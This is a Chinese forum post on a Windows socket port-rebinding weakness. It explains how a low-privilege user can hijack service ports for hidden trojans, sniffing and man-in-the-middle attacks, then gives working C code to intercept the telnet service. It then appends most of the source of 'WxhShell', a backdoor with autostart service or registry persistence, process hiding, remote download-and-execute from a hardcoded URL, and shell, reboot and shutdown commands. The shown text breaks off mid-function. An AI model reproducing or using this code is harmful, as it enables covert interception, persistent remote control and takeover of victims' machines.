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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]*Zg(YA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k_$w+Q  
"<NQ2Vr]5  
  saddr.sin_family = AF_INET; 9V("K  
KI#),~n S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <T<?7SE+  
>OmY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e<>(c7bF  
,+%$vV .g\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u9QvcD^'z  
umK~K!i  
  这意味着什么?意味着可以进行如下的攻击: uQ. m[y  
rs'~' Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IC37f[Q  
,H\EPmNHK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) We_/:=  
|h@'~c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 79=w]y  
}JoCk{<31  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~ 8RN  
(Z;-u+ }.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q]A;VNx  
}`M[%]MNc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9psD"=/"  
6 O!&!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8E ^yHd4Y  
/c8F]fkZ=  
  #include zuwCN.  
  #include +.NopI3:  
  #include PL[7|_%  
  #include    1\TXb!OtL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kuqf(  
  int main() T[;O K  
  { 2VA\{M  
  WORD wVersionRequested; bncIxxe  
  DWORD ret; .{*V^[.  
  WSADATA wsaData; ;}ileL Tl  
  BOOL val; O3PE w4yA  
  SOCKADDR_IN saddr; &U*=D8!0  
  SOCKADDR_IN scaddr; A#\NVN8sk  
  int err; m:.ywiw=  
  SOCKET s; ![P1Qv p  
  SOCKET sc; e@F9'z4  
  int caddsize; m = "N4!  
  HANDLE mt; f)~urGazS  
  DWORD tid;   ;*[nZV>  
  wVersionRequested = MAKEWORD( 2, 2 ); 1Y_Cd  
  err = WSAStartup( wVersionRequested, &wsaData ); -tlRe12  
  if ( err != 0 ) { KAT4C 4=,  
  printf("error!WSAStartup failed!\n"); 7kp$C?7K  
  return -1; 2r^|  
  } hqmKUlo  
  saddr.sin_family = AF_INET; ]2+7?QL,  
   U5[xW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HE,# pj(D  
TG~:Cmc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %tT&/F  
  saddr.sin_port = htons(23); 5^~%10=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |x3.r t  
  { gT 22!  
  printf("error!socket failed!\n"); a= +qR:wT  
  return -1; k,LeBCqGcb  
  } 1D sgU6"  
  val = TRUE; 7loIX Qw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N=YRYU o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s+8 v7ZJ  
  { 3i/$YX5@  
  printf("error!setsockopt failed!\n"); <b~KR8  
  return -1; %qfql  
  } mx y>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G'{$$+U^K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mp:%k\cF|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7y1J69IK  
*tC]Z&5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &.,ZU\`zT  
  { >jD,%yG  
  ret=GetLastError(); ]cdKd)  
  printf("error!bind failed!\n"); o$8v8="p  
  return -1; 3Sv<Viuo  
  } &'uFy0d,  
  listen(s,2); Pwn"!pk  
  while(1) NguJ[  
  { 0'{0kE[wn  
  caddsize = sizeof(scaddr); - &Aw] +  
  //接受连接请求 wws)**]J8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &`[y]E'  
  if(sc!=INVALID_SOCKET) </ 3 Shq  
  { ]([:"j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d h#4/Wa,  
  if(mt==NULL) rLw3\>y  
  { n7>CK?25  
  printf("Thread Creat Failed!\n"); j'Z}; 3y  
  break; eLXG _Qb"  
  } U?P5 cN  
  }  I0trHrX9  
  CloseHandle(mt); G%_6" s  
  } CZcn X8P'8  
  closesocket(s); }J"}5O2,b  
  WSACleanup(); -'*\KA@u  
  return 0; 2 UU5\ jV6  
  }   g!;k$`@{E'  
  DWORD WINAPI ClientThread(LPVOID lpParam) L s6P<"V  
  { k7yQEU  
  SOCKET ss = (SOCKET)lpParam; 1bs 8fUPB3  
  SOCKET sc; Rd7Xs  
  unsigned char buf[4096]; ,iY/\ U''  
  SOCKADDR_IN saddr; @5+ JXD  
  long num; f<bc8Lp  
  DWORD val; ]V \qX+K  
  DWORD ret; E$"( :%'v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l=G=J(G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !_P;4E  
  saddr.sin_family = AF_INET; ?9 hw]Q6r}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1:%HE*r  
  saddr.sin_port = htons(23); /R7qR#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GP6-5Y"8  
  { }JyWy_Y  
  printf("error!socket failed!\n"); m&(yx| a4+  
  return -1; `KBgVhS>  
  } l ps 6lnh  
  val = 100; {Hxvt~P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O&YX V  
  { HQlhT  
  ret = GetLastError();  W|XTa  
  return -1; E#?*6/  
  } S(<r-bV<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %upnXRzw  
  { G?e"A0,  
  ret = GetLastError(); hyqsMkW|  
  return -1; !m)P*Lw  
  } >Q':+|K}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SZW+<X  
  { M il ![A1  
  printf("error!socket connect failed!\n"); +Gv{Apd"  
  closesocket(sc); 2gLa4B-  
  closesocket(ss); &(a#I]`9M  
  return -1; +^1E0@b%  
  } ^{\gD23  
  while(1) 7DaMuh~<  
  { tr3Rn :0]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6) {jHnk)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (GB2("p`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h&d%#6mB  
  num = recv(ss,buf,4096,0); <>\s#Jf/  
  if(num>0) PF5;2  
  send(sc,buf,num,0); Ba==Ri8$  
  else if(num==0) Ln/6]CMl  
  break; A;VjMfoB  
  num = recv(sc,buf,4096,0); &Ohm]g8{2  
  if(num>0) FRa@T N/Ic  
  send(ss,buf,num,0); )QS4Z{)U  
  else if(num==0) uJ ;7]  
  break; 1d)wE4c=Z  
  } wO:!B\e  
  closesocket(ss); f@U\2r  
  closesocket(sc); 5A(zQ'6  
  return 0 ; ]l\'1-/  
  } # LRN@?P  
~xI1@^ r  
M =Pn8<h~  
========================================================== \z"0lAv"  
$U=E7JO  
下边附上一个代码,,WXhSHELL ZNb;2 4  
<-KHy`u  
========================================================== ,'[&" Eg  
:.5l9Ci4  
#include "stdafx.h" >'IFr9&3  
hm#S4/=#  
#include <stdio.h> #Hm*<s.  
#include <string.h> xszGao'  
#include <windows.h> .Y B}w  
#include <winsock2.h> HsrIw  
#include <winsvc.h> c"qaULY  
#include <urlmon.h> E+wd9/;  
f4.k%|]  
#pragma comment (lib, "Ws2_32.lib") lR] z8 &  
#pragma comment (lib, "urlmon.lib") g$C-G5/bjD  
1n}q6oa=  
#define MAX_USER   100 // 最大客户端连接数 c32IO&W4  
#define BUF_SOCK   200 // sock buffer .Cv0Ze  
#define KEY_BUFF   255 // 输入 buffer S;a'@5  
K"~Tk`[0Q  
#define REBOOT     0   // 重启 h%'4V<V  
#define SHUTDOWN   1   // 关机 ShXk\"  
yh9fHN)F  
#define DEF_PORT   5000 // 监听端口 {ctEjgiE  
/7WN,a  
#define REG_LEN     16   // 注册表键长度 W_k;jy_{9  
#define SVC_LEN     80   // NT服务名长度 4.]xK2sW  
BQYj"Wi  
// 从dll定义API yKE[,"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,>"rcd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CNwYQe-i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'u@_4wWp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5Z2E))UU  
c2M-/ x-:  
// wxhshell配置信息 aq-`Bar  
struct WSCFG { jG($:>3a@  
  int ws_port;         // 监听端口 b=:$~N@Y  
  char ws_passstr[REG_LEN]; // 口令 _isqk~ ul  
  int ws_autoins;       // 安装标记, 1=yes 0=no f tBbO8e  
  char ws_regname[REG_LEN]; // 注册表键名 ]3.Un,F  
  char ws_svcname[REG_LEN]; // 服务名 Cj~45)r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v(ABZNIn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q `$Q(/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  LW?Zd=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _?UW,5=O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DG_tmDT4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $*)??uU  
^qNh)?V?]I  
}; w k1O*_76  
:00 #l]g0q  
// default Wxhshell configuration JTT"t@__  
struct WSCFG wscfg={DEF_PORT, nya-Io.  
    "xuhuanlingzhe", X4<!E#  
    1, U?/UW;k[  
    "Wxhshell", (hywT)#+  
    "Wxhshell", -[-LR }u  
            "WxhShell Service", |Ad1/>8i  
    "Wrsky Windows CmdShell Service", Jvi"K  
    "Please Input Your Password: ", c&zZsJ"~  
  1, !]bXHT&!R  
  "http://www.wrsky.com/wxhshell.exe", "=~P&Mi_  
  "Wxhshell.exe" 8o' a  
    }; EJqzh i5  
iUuG}rqj  
// 消息定义模块 -$pS {q;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]W,K}~!   
char *msg_ws_prompt="\n\r? for help\n\r#>"; >z0~!!YZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /<Nb/#8  
char *msg_ws_ext="\n\rExit."; m5K B#\  
char *msg_ws_end="\n\rQuit."; +R7";.  
char *msg_ws_boot="\n\rReboot..."; &{B-a  
char *msg_ws_poff="\n\rShutdown..."; iG<rB-"  
char *msg_ws_down="\n\rSave to "; HnvE\t9`  
q/w U7P\%  
char *msg_ws_err="\n\rErr!"; RusC5\BUX  
char *msg_ws_ok="\n\rOK!"; sA18f2  
"BB#[@  
char ExeFile[MAX_PATH]; 8+^?<FKa  
int nUser = 0; 2u9^ )6/  
HANDLE handles[MAX_USER]; y w"Tw  
int OsIsNt; !\{&^,y  
4Q0@\dR9  
SERVICE_STATUS       serviceStatus; $YDZtS&h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @g|E b}t  
qw A N=3@  
// 函数声明 nJ/wtw  
int Install(void); F?j;3@z[A  
int Uninstall(void); N*t91 X  
int DownloadFile(char *sURL, SOCKET wsh); r4Ygy/%  
int Boot(int flag); [BS3y`c  
void HideProc(void); y^; =+Z  
int GetOsVer(void); uA;3R\6?  
int Wxhshell(SOCKET wsl); ]+\@_1<ZI  
void TalkWithClient(void *cs); /BWJ)6#H  
int CmdShell(SOCKET sock); MWSx8R)PN  
int StartFromService(void); `!MyOI`qS  
int StartWxhshell(LPSTR lpCmdLine); Peha{]U  
iQ= %iou  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %N)o*H&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oOk.Fq  
B`Q.<Lqu  
// 数据结构和表定义 '8~cf  
SERVICE_TABLE_ENTRY DispatchTable[] = fgFBOpG%Gq  
{ '"}|'J  
{wscfg.ws_svcname, NTServiceMain}, $)| l#'r  
{NULL, NULL} W(*:8}m,p  
}; Wpom{-  
9kPwUAw  
// 自我安装 oF/5mh__(K  
int Install(void) b6D}GuW  
{ K?')#%Z/{#  
  char svExeFile[MAX_PATH]; H~-zq} 4  
  HKEY key; RVN"lDGA  
  strcpy(svExeFile,ExeFile); 2,Y8ML<  
N" |^AF  
// 如果是win9x系统,修改注册表设为自启动 ^RkHdA  
if(!OsIsNt) { 1E Lzzn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RMB?H)p+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9GS<d.#Nvc  
  RegCloseKey(key); Cna@3)_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dN>XZv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L1u  
  RegCloseKey(key); Auhw(b>}TW  
  return 0; w<_.T#  
    } Du>dTi~  
  } VVuL+i  
} #bPio  
else { g~d}?B\<@  
s-r$%9o5  
// 如果是NT以上系统,安装为系统服务 c L*D_)?8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ssW+'GD  
if (schSCManager!=0) 'MKkC(]4  
{ =Mq=\T  
  SC_HANDLE schService = CreateService Tgp}k%R~  
  ( R!xs;|]  
  schSCManager, )!MeSWGq  
  wscfg.ws_svcname, '<f4POy!  
  wscfg.ws_svcdisp, HZ=Dd4!  
  SERVICE_ALL_ACCESS, 8?W!U*0aS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]}9cOb%I  
  SERVICE_AUTO_START, );$Uf!v4  
  SERVICE_ERROR_NORMAL, '{kNXCnZ  
  svExeFile, ]+[ NX)=  
  NULL, 0CY_nn#3  
  NULL, "ffwh  
  NULL, #{(?a.:  
  NULL, P,!W\N%3  
  NULL ?/"@WP9  
  ); 'j$iSW&  
  if (schService!=0) h 88iZK  
  { f(DGC2R <  
  CloseServiceHandle(schService); A <iF37.  
  CloseServiceHandle(schSCManager); D0PP   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U;Hu:q*  
  strcat(svExeFile,wscfg.ws_svcname); H;s0|KRgJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hC}A%_S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WX 79V  
  RegCloseKey(key);  DVD}  
  return 0; ~!]FF}6  
    } :<%K6?'@^  
  } !.L%kw7z  
  CloseServiceHandle(schSCManager); [7]p\' j  
} |LKhT4rE  
} }.gDaxj  
;: Hfkyy]  
return 1; {a_= 4a  
} po"M$4`9  
 >0+m  
// 自我卸载 RrLQM!~  
int Uninstall(void) 5<4njo?k  
{ {#q<0l  
  HKEY key; .D^k0V  
HeGGAjc  
if(!OsIsNt) { xN2M| E]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M#})  
  RegDeleteValue(key,wscfg.ws_regname); /'E+(Y&:J  
  RegCloseKey(key); $$ {ebt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %kNkDI  
  RegDeleteValue(key,wscfg.ws_regname); * ok89 ad  
  RegCloseKey(key); ] V]~I.  
  return 0; JU<<,0  
  } ix^:qw;  
} yqlkf$?  
} u 8U>R=M  
else { P%pB]d.qpi  
gU>Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a%ec: %  
if (schSCManager!=0) 7H[#  
{ n5UcivyX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (W3R3>;  
  if (schService!=0) abD55YJY  
  { ;eG%#=>  
  if(DeleteService(schService)!=0) { =DE5 Wq19  
  CloseServiceHandle(schService); Ym& _IOx  
  CloseServiceHandle(schSCManager); @Qruc\_  
  return 0; ..<(HH2  
  } l/LRr.x  
  CloseServiceHandle(schService); ezwcOYMXK  
  } h'UWf"d  
  CloseServiceHandle(schSCManager); E(8!VY ^  
} FO3!tJ\L  
} .IpwTke'  
C_O 7  
return 1; Ca+d ?IS  
} ,Q(n(m'  
1$@k@*u\  
// 从指定url下载文件 GOH@|2N  
int DownloadFile(char *sURL, SOCKET wsh) &#.XLe\y  
{ G7%Nwe~Y  
  HRESULT hr; 0g]ABzTn  
char seps[]= "/"; lDp5aT;DsM  
char *token; ?xK9  
char *file; @Z@yI2#e  
char myURL[MAX_PATH]; 5[I> l  
char myFILE[MAX_PATH]; jSVb5P  
.d8) *  
strcpy(myURL,sURL); g IX"W;  
  token=strtok(myURL,seps); sdS<-! %u4  
  while(token!=NULL) ,PRM(n-  
  { CN brXN  
    file=token; J;m[1Mae&  
  token=strtok(NULL,seps); AP3SOT3I  
  } ?_\Hv@t;  
76=uk!#3{  
GetCurrentDirectory(MAX_PATH,myFILE); ixiRFBUcF~  
strcat(myFILE, "\\"); 2)[81a  
strcat(myFILE, file); w'M0Rd]  
  send(wsh,myFILE,strlen(myFILE),0); aH"tSgi  
send(wsh,"...",3,0); 0%F C;v0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?\$77k  
  if(hr==S_OK) {!^HG+  
return 0; U@f3V8CPy  
else .RJvu$U2j  
return 1; jGI!}4_  
Wf: AMxDm  
} L$@RSKYp  
q#sMew\{  
// 系统电源模块 UfcM2OmbK  
int Boot(int flag) * +A!12s@  
{ &??(EA3  
  HANDLE hToken; 5Odi\SJ&  
  TOKEN_PRIVILEGES tkp; ODv)-J  
n6Q 3X  
  if(OsIsNt) { cY\-e?`=4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [`ttNW(_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,Hys9I  
    tkp.PrivilegeCount = 1; v%zI~g.L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~Gwn||g78  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gvA&F |4  
if(flag==REBOOT) { Htsa<t F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (CZRX9TT1  
  return 0; lzS"NHs<g(  
} kf"cd 1  
else { Vx* =  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cO(|>&tJ  
  return 0; %5F=!( w  
} *WX6C("M  
  } +#&2*nY  
  else { b;soMilz  
if(flag==REBOOT) { K3 ]hUe#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,8$;|#d  
  return 0; m} Yf6:cr  
} u{6*}6@fi  
else { 3kYUO-qw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hC6$>tl  
  return 0; )%,bog(x  
} x( mY$l,il  
} krz@1[w-j  
hCr7%`  
return 1; }s{zy:1O  
} qx_+mCZ  
vj{h*~  
// win9x进程隐藏模块 r T* :1  
void HideProc(void) []LNNO],X  
{ *"9b?`E  
%gw0^^A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t~U:{g~  
  if ( hKernel != NULL ) {'d?vm!r  
  { deeOtco$LT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EO'3;mo,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xZ,g6s2o  
    FreeLibrary(hKernel); B*D`KA  
  } ,C=Fgxw(  
-QZped;?*  
return; 4s"8e]q=  
} ?c>j^}A/N  
d>vGx  
// 获取操作系统版本 H,H'bd/  
int GetOsVer(void) Q`19YX  
{ Itz_;+I.Mp  
  OSVERSIONINFO winfo; NaVZ)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L}:u9$w  
  GetVersionEx(&winfo); Yj0Ss{Ep  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H3a}`3}U  
  return 1; { Ja#pt  
  else  d(v )SS  
  return 0; %X[|7D-  
} _Dk;U*2  
zD)2af  
// 客户端句柄模块 b,318R8+G  
int Wxhshell(SOCKET wsl) n$b/@hp$z  
{ m! p'nP  
  SOCKET wsh; 1YM04*H  
  struct sockaddr_in client; CiPD+I  
  DWORD myID; c>DAR  
 Xv:<sX  
  while(nUser<MAX_USER) UTs0=:+,t  
{ Mw+]*  
  int nSize=sizeof(client); .}CP Z3y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bR ;H@Fdg?  
  if(wsh==INVALID_SOCKET) return 1; ze#LX4b I  
<[a9"G 7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >nl *aN  
if(handles[nUser]==0) M:C*?;K:  
  closesocket(wsh); KZDB\T  
else [ 8v)\lu  
  nUser++; -4hX -  
  } /"/$1F%{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]@WJ&e/'@  
,VHvQU  
  return 0; im1]:kr7  
} %AW  
#j;&g1  
// 关闭 socket wF38c]r`\<  
void CloseIt(SOCKET wsh) &:{| nDT_2  
{ M%B]f2C  
closesocket(wsh); /{qr~7k,oQ  
nUser--; {}lw%d?A  
ExitThread(0); YTYYb#"Q  
} "=/XIM.  
'-ACNgNn  
// 客户端请求句柄 (mza&WF7  
void TalkWithClient(void *cs) J-I7K !B  
{ y4envjl 0  
r}vI#;&  
  SOCKET wsh=(SOCKET)cs; .g4bV5ma3  
  char pwd[SVC_LEN]; `9 $?g|rB  
  char cmd[KEY_BUFF]; K<|eZhp~  
char chr[1]; 4Q3Q.(  
int i,j; A?6b)B/e?  
5(DCq(\P*  
  while (nUser < MAX_USER) { R8HA X  
IlS{>6  
if(wscfg.ws_passstr) { |4-Ey! P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] >`Q"g~0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T]E$H, p  
  //ZeroMemory(pwd,KEY_BUFF); qtgj"4,:`  
      i=0; MK=:L   
  while(i<SVC_LEN) { v3@)q0@  
>#>YoA@S  
  // 设置超时 wmT3 >  
  fd_set FdRead; BJlF@F#  
  struct timeval TimeOut; 9 -TFyZYU  
  FD_ZERO(&FdRead); J.O;c5wL  
  FD_SET(wsh,&FdRead); fh,Y#.V`  
  TimeOut.tv_sec=8; 5Z;Py"%  
  TimeOut.tv_usec=0; ];Z_S`JR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y)(@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I s88+,O  
I98wMV8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c?z% z&  
  pwd=chr[0]; zHx?-Q&3  
  if(chr[0]==0xd || chr[0]==0xa) { Bpqq-_@  
  pwd=0; xp,H5 m%  
  break; %*r P d>*  
  } Vuz!~kLYIn  
  i++; 1uD}V7_y"  
    } \>jK\j  
iOD9lR`s  
  // 如果是非法用户,关闭 socket )fCl<KG*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w|$;$a7)  
} JXvHsCd?  
&=s{ +0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DpTQPu9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TmUn/  
-98bX]8  
while(1) { Y3-15:-  
wV(_=LF  
  ZeroMemory(cmd,KEY_BUFF); dn5T7a~   
9Uk9TG5  
      // 自动支持客户端 telnet标准   V#sANi?mpo  
  j=0; Q2k\8i  
  while(j<KEY_BUFF) { @c.QrKSaD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,sJ{2,]~  
  cmd[j]=chr[0]; 5F0sfX  
  if(chr[0]==0xa || chr[0]==0xd) { ,@>B#%Nz  
  cmd[j]=0; 5a_K|(~3I  
  break; U>:p`@  
  } A}oR,$D-  
  j++; cvc.-7IO  
    } 'MC) %N,  
j[=f;&1  
  // 下载文件 q 2= ^l  
  if(strstr(cmd,"http://")) { oR3$A :!P=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]aaHb  
  if(DownloadFile(cmd,wsh)) Lqz}h-Ei  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Axe7<l  
  else i>0bI^H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XSZW9/I-(|  
  } vbA9 V<c&  
  else { Be}Cj(C  
/S|Pq!4<  
    switch(cmd[0]) { W]reQ&<Z  
  eBBh/=Zc  
  // 帮助 lYq R6^  
  case '?': { B%r)~?6DM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R':a,6 O  
    break; )~!Gs/w6  
  } <hS >L1ZSr  
  // 安装 9BHl 2<&V  
  case 'i': { GL (YC-{  
    if(Install()) II[qWs>RG[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YJr@4!j*  
    else dyu~T{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eaCEZHr$  
    break; hp[8.Z$7  
    } "*TnkFTR  
  // 卸载 =k0l>)  
  case 'r': { +fKLCzj  
    if(Uninstall()) o>j3<#?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JqFFI:Q5a  
    else Z/a]oR@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *jDzh;H!w  
    break; >5XE*9  
    } <;_X=s`f,  
  // 显示 wxhshell 所在路径 9/Q5(P  
  case 'p': { `bivAL  
    char svExeFile[MAX_PATH]; K4oLb"gB1  
    strcpy(svExeFile,"\n\r"); 79S=n,O  
      strcat(svExeFile,ExeFile); ]Ub?Wo7F?  
        send(wsh,svExeFile,strlen(svExeFile),0); qzV:N8+,`  
    break; |%TH|?kB  
    } -KO E2f  
  // 重启 VIynlvy  
  case 'b': { !_zmm$bR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L+d_+:w  
    if(Boot(REBOOT)) |-Y,:sY:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9g " ?`_  
    else { 9n44 *sZ  
    closesocket(wsh); `_z8DA}E  
    ExitThread(0); Riu0;U( \  
    } GndF!#?N(  
    break; V =1Y&y  
    } ^bS&[+9E  
  // 关机 3O$Q>.0w/  
  case 'd': { l$.C40v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .PxtcC.K  
    if(Boot(SHUTDOWN)) cojuU=i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]LNP"vi;  
